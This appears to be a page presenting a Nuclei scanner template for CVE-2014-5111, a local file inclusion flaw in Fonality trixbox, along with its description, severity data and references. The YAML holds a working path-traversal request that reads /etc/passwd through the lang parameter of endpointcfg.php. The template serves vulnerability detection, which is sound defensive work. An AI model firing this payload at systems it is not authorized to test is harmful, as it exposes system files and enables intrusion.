Fonality trixbox - Local File Inclusion

ID: CVE-2014-5111

Severity: medium

Author: daffainfo

Tags: cve2014,cve,packetstorm,lfi,trixbox,edb,netfortris,xss

Description

Multiple local file inclusion vulnerabilities in Fonality trixbox allow remote attackers to read arbitrary files via a .. (dot dot) in the lang parameter to (1) home/index.php, (2) asterisk_info/asterisk_info.php, (3) repo/repo.php, or (4) endpointcfg/endpointcfg.php in maint/modules/.

YAML Source

id: CVE-2014-5111

info:
  name: Fonality trixbox - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Multiple local file inclusion vulnerabilities in Fonality trixbox allow remote attackers to read arbitrary files via a .. (dot dot) in the lang parameter to (1) home/index.php, (2) asterisk_info/asterisk_info.php, (3) repo/repo.php, or (4) endpointcfg/endpointcfg.php in maint/modules/.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Apply the latest patches and updates provided by the vendor to fix the local file inclusion vulnerability in Fonality trixbox.
  reference:
    - https://www.exploit-db.com/exploits/39351
    - https://nvd.nist.gov/vuln/detail/CVE-2014-5111
    - http://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-5111
    cwe-id: CWE-22
    epss-score: 0.02194
    epss-percentile: 0.89179
    cpe: cpe:2.3:a:netfortris:trixbox:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netfortris
    product: trixbox
  tags: cve2014,cve,packetstorm,lfi,trixbox,edb,netfortris,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e3077e839fcbab44caaba00c39f8bddb237ea9994ffd1c1fdf70ca56d044bb7902205d620e263108ab8ae11371cccb3209b81383e330068f62c9ee262c7365cac870:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-5111.yaml"

View on Github